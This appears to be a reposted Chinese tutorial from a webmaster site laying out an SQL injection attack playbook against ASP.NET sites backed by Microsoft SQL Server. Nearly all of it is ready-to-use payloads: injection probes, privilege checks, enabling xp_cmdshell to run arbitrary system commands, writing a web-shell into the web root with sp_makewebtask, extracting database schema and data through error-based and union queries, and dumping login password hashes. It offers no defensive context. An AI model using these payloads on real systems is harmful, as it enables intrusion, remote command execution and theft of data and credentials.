加入收藏 | 设为首页 | 会员中心 | 我要投稿 温州站长网 (https://www.0577zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

ASPX+MSSQL注入

发布时间:2022-12-19 14:40:39 所属栏目:MsSql教程 来源:未知
导读: MSSQL三个关键系统表:
1.master.dbo.sysdatabases系统表:该表位于master数据库中
关键字段:name:库的名字 dbid:库的id(dbid从1到5是系统库)2.sysobjects系统表:该表位于每个数据库中

MSSQL三个关键系统表:

1.master.dbo.sysdatabases系统表:该表位于master数据库中

关键字段:name:库的名字 dbid:库的id(dbid从1到5是系统库)2.sysobjects系统表:该表位于每个数据库中关键字段:name:对象名称 id:对象id uid:所有者对象用户id status:对象状态 xtype:对象类型xtype="U" //用户表,xtype="X" //扩展存储过程,xtype="S" //系统表3.syscolumns系统表:该表位于每个数据库中关键字段:name:字段名称 id:表id号 colid:字段id号

MSSQL注入点的基本检查:

1.注入点类型的判断:and exists (select * from sysobjects)

2.注入点权限的判断:

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员

and 1=(select is_srvrolemember('db_owner'))//判断是否是库权限

and 1=(select is_srvrolemember('public'))//判断是否为public权限

3.返回信息的判断:

and @@version>0 //数据库信息

;declare @d int //判断支持多行语句查询

and (select count(1) from [sysobjects])>=0 //是否支持子查询

and user>0 //获取当前数据库用户名

and 1=convert(int,db_name())或and 1=(select db_name()) // 当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

利用MSSQL扩展存储注入攻击:

1.检测扩展存储:(扩展存储过程,其实就是一个windows系统dll文件,安装某种规则实现了某些函数功能)

查询xp_cmdshell扩展存储:and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell') //查看xp_cmdshell是否开启

查询xp_regread扩展存储:and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread') //查看xp_regread是否开启

2.重启扩展存储:(mssql2005及以上版本默认是没有启动xp_cmdshell的mssql注入,需要重新启动)

exec sp_configure 'show advanced option',1;

exec sp_configure reconfigure;

exec sp_configure 'xp_cmdshell',1;

exec sp_configure reconfigure;

或者在SQL操作命令中输入:exec sp_configure show advanced option,1;reconfigure;exec sp_configure xp_cmdshell,1;reconfigure;

3.恢复扩展存储:

删除xp_cmdshell:;exec master..sp_dropextendedproc 'xp_cmdshell'

创建xp_cmdshell: ;exec master..sp_addextendedproc xp_cmdshell,'xplog70.dll'

4.sa权限下扩展存储攻击方法:

xp_cmdshell扩展执行任意命令:

;exec master..xp_cmdshell 'dir c:\' //执行任意命令

xp_regwrite操作注册表与开启沙盒模式:

利用sp_makewebtash写入一句话木马:

;exec sp_makewebtask 'c:\inetpub\wwwroot\cimer.asp' ;select '木马文件'--

5.db_owner权限下扩展存储攻击方法:

判断数据库用户权限:and 1=(select is_member('db_owner'));--

搜索web目录:

创建一个表:;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--

利用xp_dirtree扩展查询:;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

查询表中的内容:and(select dir from temp where id=1)>0

MSSQL注入猜解数据库技术:

1.having与group by查询表名与字段名:

group by 字段名 having 1=1--

2.order by报错法查询注入技术:

查询当前数据库:and db_name()=0--

查询所有数据库名:and db_name(n)>0--

3.查询爆库的另一种方法:

查询所有数据库名:and 1=(select name from master.dbo.sysdatabases where dbid=1)-- //字段dbid代表库的id

查询当前数据库的所有表:and (select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)=0

查询字段名:and (select col_name(object_id('表名’),n))=0

查询字段值:and (select top 1 字段名 from 表名)>0 and(select top 1 字段名 from 表名 where 字段名字段值1)>0 //操作符等于!=

4.union select查询注入技术:

匹配列数:and 1=2 union all select null,null,null from 表名

匹配数据类型:and 1=2 union all select 'a',null,null from 表名

查询所有数据库名:(select name from master.dbo.sysdatabases where dbid=1)

查询数据库所有表:(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc) //字段xtype代表对象类型

查询字段名:(select col_name(object_id('表名'),n))

查询字段值:(select top 1 字段名 from 表名) (select top 1 字段名 from 表名 where 字段名字段值1)

窃取哈希口令:

SQL Server 2000中,哈希口令存储在master.sysxlogins表中

注入:select name,password from master.dbo.sysxlogins

SQL Server 2005哈希口令:一个4字节的常量,一个8字节的salt和一个40字节的大小写混合

(编辑:温州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!